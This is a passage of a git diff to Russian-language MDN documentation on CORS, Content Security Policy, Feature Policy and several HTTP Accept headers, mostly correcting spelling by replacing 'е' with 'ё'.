                    @@ -160,7 +160,7 @@ Content-Type: application/xml
                  • {{HTTPMethod("PATCH")}}
                  • -
                • Или если, кроме заголовков, автоматически устанавливаемых пользовательским агентом (например, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, или любым другим заголовком с именем, определенным в спецификации Fetch как "имя запрещенного заголовка"), запрос включает любые заголовки, отличные от тех, которые спецификация Fetch определяет как "заголовок запроса CORS-безопасный заголовок запроса", а именно: +
                • Или если, кроме заголовков, автоматически устанавливаемых пользовательским агентом (например, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, или любым другим заголовком с именем, определённым в спецификации Fetch как "имя запрещённого заголовка"), запрос включает любые заголовки, отличные от тех, которые спецификация Fetch определяет как "заголовок запроса CORS-безопасный заголовок запроса", а именно:
                  • {{HTTPHeader("Accept")}}
                  • {{HTTPHeader("Accept-Language")}}
                    • @@ -184,7 +184,7 @@ Content-Type: application/xml
                  • Или если объект {{domxref("ReadableStream")}} используется в запросе.
                  -

                  Ниже приведен пример запроса, который будет предварительно просмотрен.

                  +

                  Ниже приведён пример запроса, который будет предварительно просмотрен.

                  var invocation = new XMLHttpRequest();
 var url = 'http://bar.other/resources/post-here/';
@@ -204,7 +204,7 @@ function callOtherDomain(){
 ......
                  -

                  В примере выше, 3 строка создает XML тело, чтобы отправить POST запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (X-PINGOTHER: pingpong). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type  application/xml, и так как установлен кастомизированный заголовок, этот запрос просматривается.

                  +

                  В примере выше, 3 строка создаёт XML тело, чтобы отправить POST запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (X-PINGOTHER: pingpong). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type  application/xml, и так как установлен кастомизированный заголовок, этот запрос просматривается.

                  @@ -242,7 +242,7 @@ Connection: Keep-Alive Content-Type: text/plain -

                  Как только предварительный запрос завершен, отправляется настоящий запрос:

                  +

                  Как только предварительный запрос завершён, отправляется настоящий запрос:

                  POST /resources/post-here/ HTTP/1.1
 Host: bar.other
@@ -294,23 +294,23 @@ Access-Control-Max-Age: 86400

                  Сервер отвечает с Access-Control-Allow-Methods и сообщает, что POST, GET, и OPTIONS являются жизнеспособными методами для запроса соответствующего ресурса. Обратите внимание, что этот заголовок похож на заголовок ответа {{HTTPHeader("Allow")}}, но используется строго в контексте контроля доступа.

                  -

                  Сервер также отправляет Access-Control-Allow-Headers со значением "X-PINGOTHER, Content-Type", подтверждая, что это разрешенные заголовки, которые будут использоваться с фактическим запросом. Как и Access-Control-Allow-Methods, Access-Control-Allow-Headers представляет собой список допустимых заголовков через запятую.

                  +

                  Сервер также отправляет Access-Control-Allow-Headers со значением "X-PINGOTHER, Content-Type", подтверждая, что это разрешённые заголовки, которые будут использоваться с фактическим запросом. Как и Access-Control-Allow-Methods, Access-Control-Allow-Headers представляет собой список допустимых заголовков через запятую.

                  -

                  Наконец, {{HTTPHeader("Access-Control-Max-Age")}} дает значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет максимальное внутреннее значение, которое имеет приоритет, когда Access-Control-Max-Age больше.

                  +

                  Наконец, {{HTTPHeader("Access-Control-Max-Age")}} даёт значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет максимальное внутреннее значение, которое имеет приоритет, когда Access-Control-Max-Age больше.

                  Предварительные запросы и  переадресации

                  Большинство браузеров в настоящее время не поддерживают следующие переадресации для предварительных запросов. Если переадресация происходит для предварительного запроса, большинство современных браузеров сообщат об ошибке, такой как следующее.

                  -

                  Запрос был перенаправлен на 'https://example.com/foo', который запрещен для запросов из разных источников, требующих предварительной проверки

                  +

                  Запрос был перенаправлен на 'https://example.com/foo', который запрещён для запросов из разных источников, требующих предварительной проверки

                  Запрос требует предварительной проверки, которая запрещена для перенаправления между источниками

                  -

                  Протокол CORS изначально требовал такого поведения, но впоследствии был изменен, чтобы больше не требовать его. Однако большинство браузеров еще не реализовали это изменение и все еще демонстрируют поведение, которое требовалось изначально.

                  +

                  Протокол CORS изначально требовал такого поведения, но впоследствии был изменён, чтобы больше не требовать его. Однако большинство браузеров ещё не реализовали это изменение и все ещё демонстрируют поведение, которое требовалось изначально.

                  Поэтому, пока браузеры не догонят спецификацию, вы можете обойти это ограничение, выполнив одно или оба из следующих действий:

                  @@ -328,9 +328,9 @@ Access-Control-Max-Age: 86400

                  Однако, если запрос инициирует предварительную проверку из-за наличия в запросе заголовка `Authorization`, вы не сможете обойти ограничение, используя описанные выше шаги. И вы вообще не сможете обойти это, если у вас нет контроля над сервером, на который делается запрос.

                  -

                  Запросы с учетными данными

                  +

                  Запросы с учётными данными

                  -

                  Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и Fetch и CORS - это возможность делать "проверенные" запросы, которые осведомлены о файлах HTTP cookie и информации HTTP аутентификации. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или Fetch вызовах, браузеры не отправляют учетные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.

                  +

                  Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и Fetch и CORS - это возможность делать "проверенные" запросы, которые осведомлены о файлах HTTP cookie и информации HTTP аутентификации. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или Fetch вызовах, браузеры не отправляют учётные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.

                  В этом примере контент, изначально загруженный из http://foo.example, выполняет простой GET запрос к ресурсу  http://bar.other, который устанавливает файлы cookie. Содержимое на foo.example может содержать такой JavaScript:

                  @@ -346,7 +346,7 @@ function callOtherDomain(){ } } -

                  В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение withCredentials. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос GET, он не является предварительным, но браузер отклоняет любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}: true, и не создает ответ, доступный для вызова веб-контента.

                  +

                  В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение withCredentials. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос GET, он не является предварительным, но браузер отклоняет любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}: true, и не создаёт ответ, доступный для вызова веб-контента.

                  @@ -387,9 +387,9 @@ Content-Type: text/plain

                  Также в строке 11 содержится Cookie, предназначенный для контента ресурса http://bar.other. В случае если http://bar.other не ответит полем  {{HTTPHeader("Access-Control-Allow-Credentials")}}: true (строка 19), то ответ от сервера  будет проигнорирован и не станет доступным для веб-контента.

                  -

                  Запросы с учетными данными и wildcards

                  +

                  Запросы с учётными данными и wildcards

                  -

                  В процессе ответа на запрос с учетными данными сервер обязан указать точный источник в поле заголовка Access-Control-Allow-Origin вместо спецсимвола "*".

                  +

                  В процессе ответа на запрос с учётными данными сервер обязан указать точный источник в поле заголовка Access-Control-Allow-Origin вместо спецсимвола "*".

                  Из-за того что заголовки запроса в примере выше включают заголовок Cookie, запрос  провалился бы, если бы значение заголовка Control-Allow-Origin было "*". Но он не провалился: потому что значение заголовка Access-Control-Allow-Origin  - "http://foo.example" (действительный источник), а не спецсимвол "*", контент, удостоверяющий полномочия, возвращается в вызывающий веб-контент.

                  @@ -397,7 +397,7 @@ Content-Type: text/plain

                  Заголовки HTTP ответов

                  -

                  Эта секция содержит список заголовков HTTP ответов, которые сервер шлет в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.

                  +

                  Эта секция содержит список заголовков HTTP ответов, которые сервер шлёт в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.

                  Access-Control-Allow-Origin

                  @@ -406,7 +406,7 @@ Content-Type: text/plain 
                  Access-Control-Allow-Origin: <origin> | *
                  -

                  Access-Control-Allow-Origin определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учетных данных — значение "*", которое говорит браузеру разрешить запросы из любых источников.

                  +

                  Access-Control-Allow-Origin определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учётных данных — значение "*", которое говорит браузеру разрешить запросы из любых источников.

                  Например, чтобы разрешить http://mozilla.org доступ к ресурсу, можно указать:

                  diff --git a/files/ru/web/http/csp/index.html b/files/ru/web/http/csp/index.html index 66c9f059bc..f1c128ab7f 100644 --- a/files/ru/web/http/csp/index.html +++ b/files/ru/web/http/csp/index.html @@ -8,9 +8,9 @@ translation_of: Web/HTTP/CSP ---
                  {{HTTPSidebar}}
                  -

                  Content Security Policy ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определенные типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.

                  +

                  Content Security Policy ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определённые типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.

                  -

                  CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться здесь, в пункте 1.1). Браузеры, которые не поддерживают CSP, все еще могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут ее игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные правила ограничения домена.

                  +

                  CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться здесь, в пункте 1.1). Браузеры, которые не поддерживают CSP, все ещё могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут её игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные правила ограничения домена.

                  Для того чтобы включить CSP, необходимо настроить сервер так, чтобы в ответах он использовал HTTP-заголовок {{HTTPHeader("Content-Security-Policy")}} (в различных примерах и документации можно встретить вариант заголовка X-Content-Security-Policy. Он является устаревшим и определять его не нужно).

                  @@ -22,13 +22,13 @@ translation_of: Web/HTTP/CSP

                  Основная цель создания CSP заключается в устранении XSS атак и сборе данных об их попытках. XSS атаки используют доверие браузера к контенту, полученному с сервера. Зловредные скрипты исполняются в браузере жертвы, поскольку браузер доверяет источнику, даже когда скрипт поставляется не оттуда, откуда кажется.

                  -

                  CSP дает возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешенных источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).

                  +

                  CSP даёт возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешённых источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).

                  В качестве крайней меры защиты, сайты, которые хотят запретить исполнение скриптов, могут настроить это поведение глобально, с помощью соответствующей опции.

                  Пакетный сниффинг

                  -

                  В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершенная стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех кук с помощью специального флага, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищенному каналу.

                  +

                  В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершённая стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех кук с помощью специального флага, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищённому каналу.

                  Использование CSP

                  @@ -48,7 +48,7 @@ translation_of: Web/HTTP/CSP

                  Примеры: Распространённые случаи применения

                  -

                  В данном разделе приводятся наиболее распространенные сценарии использования CSP.

                  +

                  В данном разделе приводятся наиболее распространённые сценарии использования CSP.

                  Пример 1

                  @@ -78,7 +78,7 @@ translation_of: Web/HTTP/CSP

                  Пример 4

                  -

                  Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идет по SSL и атакующий не сможет обрабатывать запросы:

                  +

                  Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идёт по SSL и атакующий не сможет обрабатывать запросы:

                  Content-Security-Policy: default-src https://onlinebanking.jumbobank.com
                  @@ -94,29 +94,29 @@ translation_of: Web/HTTP/CSP

                  Тестирование настройки политики

                  -

                  Для облегчения развертывания можно настроить развертывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.

                  +

                  Для облегчения развёртывания можно настроить развёртывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.

                  Для определения вашей политики вы можете использовать заголовок {{HTTPHeader("Content-Security-Policy-Report-Only")}} следующим образом:

                  Content-Security-Policy-Report-Only: policy
                  -

                  В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке Content-Security-Policy будут применены, в то время как политики, описанные в заголовке Content-Security-Policy-Report-Only, создадут отчеты, но применены не будут.

                  +

                  В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке Content-Security-Policy будут применены, в то время как политики, описанные в заголовке Content-Security-Policy-Report-Only, создадут отчёты, но применены не будут.

                  -

                  Настройка отправки отчетов

                  +

                  Настройка отправки отчётов

                  -

                  По умолчанию, отправка отчетов не производится.  Для того чтобы включить отправку отчетов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчеты:

                  +

                  По умолчанию, отправка отчётов не производится.  Для того чтобы включить отправку отчётов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчёты:

                  Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi
                  -

                  Кроме того, необходимо настроить свой сервер на получение этих отчетов; вы можете хранить и обрабатывать эти отчеты как считаете нужным.

                  +

                  Кроме того, необходимо настроить свой сервер на получение этих отчётов; вы можете хранить и обрабатывать эти отчёты как считаете нужным.

                  -

                  Синтаксис отчета о происшествиях

                  +

                  Синтаксис отчёта о происшествиях

                  -

                  Объект отчета в формате JSON содержит следующие поля:

                  +

                  Объект отчёта в формате JSON содержит следующие поля:

                  blocked-uri
                  -
                  URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращен до схемы, хоста и порта.
                  +
                  URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращён до схемы, хоста и порта.
                  @@ -129,7 +129,7 @@ translation_of: Web/HTTP/CSP
                  original-policy
                  Исходная политика, описываемая в заголовке Content-Security-Policy.
                  referrer
                  -
                  Реферер, который привел к нарушению.
                  +
                  Реферер, который привёл к нарушению.
                  script-sample
                  Первые 40 символов встроенного скрипта или стиля, спровоцировавшего нарушение.
                  status-code
                  @@ -138,7 +138,7 @@ translation_of: Web/HTTP/CSP
                  Директива, которая была нарушена.
                  -

                  Пример отчета о происшествии

                  +

                  Пример отчёта о происшествии

                  Возьмём страницу, расположенную по адресу http://example.com/signup.html. Для неё используется следующая политика, запрещающая загрузку всего кроме CSS-файлов с cdn.example.com.
                  @@ -171,7 +171,7 @@ translation_of: Web/HTTP/CSP } } -

                  Как видите, отчёт включает полный путь к ресурсу нарушающему политику в blocked-uri. Правда, это не всегда так. К примеру, когда signup.html попытается загрузить CSS с http://anothercdn.example.com/stylesheet.css, браузер не будет включать полный путь, а ограничится лишь доменом (http://anothercdn.example.com). Спецификация CSP поясняет это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрестных ресурсах

                  +

                  Как видите, отчёт включает полный путь к ресурсу нарушающему политику в blocked-uri. Правда, это не всегда так. К примеру, когда signup.html попытается загрузить CSS с http://anothercdn.example.com/stylesheet.css, браузер не будет включать полный путь, а ограничится лишь доменом (http://anothercdn.example.com). Спецификация CSP поясняет это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрёстных ресурсах

                  Совместимость с браузерами

                  @@ -179,7 +179,7 @@ translation_of: Web/HTTP/CSP

                  {{Compat("http.headers.csp")}}

                  -

                  Для некоторых версий Safari существует специфическая несовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнет блокировать и создавать ложно-положительные отчеты о нарушении политики для всего контента, как с запрашиваемого источника, так и из внешних источников.

                  +

                  Для некоторых версий Safari существует специфическая несовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнёт блокировать и создавать ложно-положительные отчёты о нарушении политики для всего контента, как с запрашиваемого источника, так и из внешних источников.

                  Смотрите также:

                  diff --git a/files/ru/web/http/feature_policy/index.html b/files/ru/web/http/feature_policy/index.html index 972b15c168..ae3955ed1c 100644 --- a/files/ru/web/http/feature_policy/index.html +++ b/files/ru/web/http/feature_policy/index.html @@ -5,13 +5,13 @@ translation_of: Web/HTTP/Feature_Policy ---
                  {{SeeCompatTable}}{{HTTPSidebar}}
                  -

                  Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определенных функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.

                  +

                  Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определённых функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.

                  Краткое описание

                  Заголовок Feature Policy предоставляет механизм для ясного указания функций, используемых или не используемых вашим веб-сайтом. Это позволяет закрепить лучшие практики, даже если кодовая база развивается с течением времени, а также более безопасно включать сторонний контент, ограничивая доступные функции.

                  -

                  С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определенные функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определенных функций.

                  +

                  С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определённые функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определённых функций.

                  Примеры того, что можно сделать с заголовком Feature Policy:

                  diff --git a/files/ru/web/http/feature_policy/using_feature_policy/index.html b/files/ru/web/http/feature_policy/using_feature_policy/index.html index b2dc5d8792..b75ef11712 100644 --- a/files/ru/web/http/feature_policy/using_feature_policy/index.html +++ b/files/ru/web/http/feature_policy/using_feature_policy/index.html @@ -9,13 +9,13 @@ translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy
                  -

                  Функциональная политика позволяет разработчику контролировать доступ страницам сайта к определенной веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определенную функциональность списку разрешенных источников. Каждая функция, контролируемая функциональной политикой, активируется  в определенном документе или фрейме, если его источник происхождения входит в разрешенный список источников.

                  +

                  Функциональная политика позволяет разработчику контролировать доступ страницам сайта к определённой веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определённую функциональность списку разрешённых источников. Каждая функция, контролируемая функциональной политикой, активируется  в определённом документе или фрейме, если его источник происхождения входит в разрешённый список источников.

                  -

                  Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешенных источников по умолчанию. Этот список специфичен для каждой функциональности. 

                  +

                  Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешённых источников по умолчанию. Этот список специфичен для каждой функциональности. 

                  Описание политики

                  -

                  Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имен определяемых функциональностей, со списком источников происхождения, которым разрешается доступ к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.

                  +

                  Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имён определяемых функциональностей, со списком источников происхождения, которым разрешается доступ к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.

                  список доступа

                  @@ -54,7 +54,7 @@ translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy

                  Отправить заголовок функциональной политики можно в ответе на запрос документа (страницы). Значение заголовка переопределяет политику браузера по умолчанию для данной страницы. Он имеет следующую структуру.

                  -
                  Feature-Policy: <имя функциональности> <список разрешенных источников>
                  +
                  Feature-Policy: <имя функциональности> <список разрешённых источников>

                  К примеру, для блокировки функциональности API геолокации по всему сайту:

                  diff --git a/files/ru/web/http/headers/accept-charset/index.html b/files/ru/web/http/headers/accept-charset/index.html index a8008ec1b8..75bf389f93 100644 --- a/files/ru/web/http/headers/accept-charset/index.html +++ b/files/ru/web/http/headers/accept-charset/index.html @@ -6,12 +6,12 @@ original_slug: Web/HTTP/Заголовки/Accept-Charset ---
                  {{HTTPSidebar}}
                  -

                  Заголовок Accept-Charset запроса HTTP сообщает какую кодировку клиент может понять. Используя согласование контента, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своем выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно корректный  и передача его позволит с большей легкостью получить цифровой отпечаток.

                  +

                  Заголовок Accept-Charset запроса HTTP сообщает какую кодировку клиент может понять. Используя согласование контента, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своём выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно корректный  и передача его позволит с большей лёгкостью получить цифровой отпечаток.

                  Если сервер не может обслужить никакую из предоставленных кодировок, теоретически он может вернуть {{HTTPStatus("406")}} (Not Acceptable) код ошибки. Но, для более лучшего пользовательского опыта, это редко делается и более частый способ в этом случае, это просто игнорирование заголовка Accept-Charset.

                  -

                  В более ранних версиях HTTP/1.1, кодировка  по умолчанию (ISO-8859-1) была определена. Теперь это не так и каждый контентый тип может иметь свое собственное дефолтное значение.

                  +

                  В более ранних версиях HTTP/1.1, кодировка  по умолчанию (ISO-8859-1) была определена. Теперь это не так и каждый контентый тип может иметь своё собственное дефолтное значение.

                  • diff --git a/files/ru/web/http/headers/accept-language/index.html b/files/ru/web/http/headers/accept-language/index.html index 8cce5856b6..feddf885d0 100644 --- a/files/ru/web/http/headers/accept-language/index.html +++ b/files/ru/web/http/headers/accept-language/index.html @@ -6,7 +6,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Language ---
                  {{HTTPSidebar}}
                  -
                  {{Glossary("HTTP-заголовок")}} Запрос Accept-Language сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого  (content negotiation), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своем выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательского интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка Accept-Language, это происходит редко (и не одобряется, так как ведет.к идентификации).
                  +
                  {{Glossary("HTTP-заголовок")}} Запрос Accept-Language сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого  (content negotiation), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своём выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательского интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка Accept-Language, это происходит редко (и не одобряется, так как ведёт.к идентификации).
                  @@ -44,11 +44,11 @@ Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
                  <language>
                  -
                  Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать  дополнительные под-теги, разделенные '-'. Наиболее распространенной дополнительной информацией являются указания на страну или регион (например, 'en-US' или 'fr-CA') или тип алфавита, который следует использовать (например, 'sr-Latn'). Другие варианты, такие как тип орфографии ('de-DE-1996') обычно не используются в контексте данного заголовка.
                  +
                  Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать  дополнительные под-теги, разделённые '-'. Наиболее распространённой дополнительной информацией являются указания на страну или регион (например, 'en-US' или 'fr-CA') или тип алфавита, который следует использовать (например, 'sr-Latn'). Другие варианты, такие как тип орфографии ('de-DE-1996') обычно не используются в контексте данного заголовка.
                  *
                  Любой язык; '*' обозначает любое значение.
                  ;q= (q-factor weighting)
                  -
                  Любое из значений, размещенных в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют весами.
                  +
                  Любое из значений, размещённых в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют весами.

                  Примеры

                  diff --git a/files/ru/web/http/headers/accept-patch/index.html b/files/ru/web/http/headers/accept-patch/index.html index 5cacf1026f..17bc2ae125 100644 --- a/files/ru/web/http/headers/accept-patch/index.html +++ b/files/ru/web/http/headers/accept-patch/index.html @@ -29,7 +29,7 @@ original_slug: Web/HTTP/Заголовки/Accept-Patch                   - + diff --git a/files/ru/web/http/headers/accept/index.html b/files/ru/web/http/headers/accept/index.html index ba2539d420..832d095b09 100644 --- a/files/ru/web/http/headers/accept/index.html +++ b/files/ru/web/http/headers/accept/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/Accept ---
                  {{HTTPSidebar}}
                  -

                  HTTP заголовок запроса Accept указывает, какие типы контента, выраженные как MIME типы, клиент может понять. Используя согласование контента, сервер затем выбирает одно из предложений, использует его и информирует клиента о своем выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задается другое значение, чем при получении изображения, видео или скрипта.

                  +

                  HTTP заголовок запроса Accept указывает, какие типы контента, выраженные как MIME типы, клиент может понять. Используя согласование контента, сервер затем выбирает одно из предложений, использует его и информирует клиента о своём выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задаётся другое значение, чем при получении изображения, видео или скрипта.

                  {{Glossary("Response header", "Заголовок ответа")}}
                  {{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}} да
                  @@ -19,7 +19,7 @@ original_slug: Web/HTTP/Заголовки/Accept - + diff --git a/files/ru/web/http/headers/access-control-allow-headers/index.html b/files/ru/web/http/headers/access-control-allow-headers/index.html index d405260c68..bc9e7641c2 100644 --- a/files/ru/web/http/headers/access-control-allow-headers/index.html +++ b/files/ru/web/http/headers/access-control-allow-headers/index.html @@ -39,7 +39,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers
                  <header-name>
                  -
                  Список поддерживаемых заголовков разделенных запятыми.
                  +
                  Список поддерживаемых заголовков разделённых запятыми.

                  Пример

                  @@ -74,7 +74,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers

                  Заметки по совместимости

                    -
                  • Подстановочное значение (*), указанное в последней спецификации, еще не реализовано в браузерах: +
                  • Подстановочное значение (*), указанное в последней спецификации, ещё не реализовано в браузерах:
                    • Chromium: Issue 615313
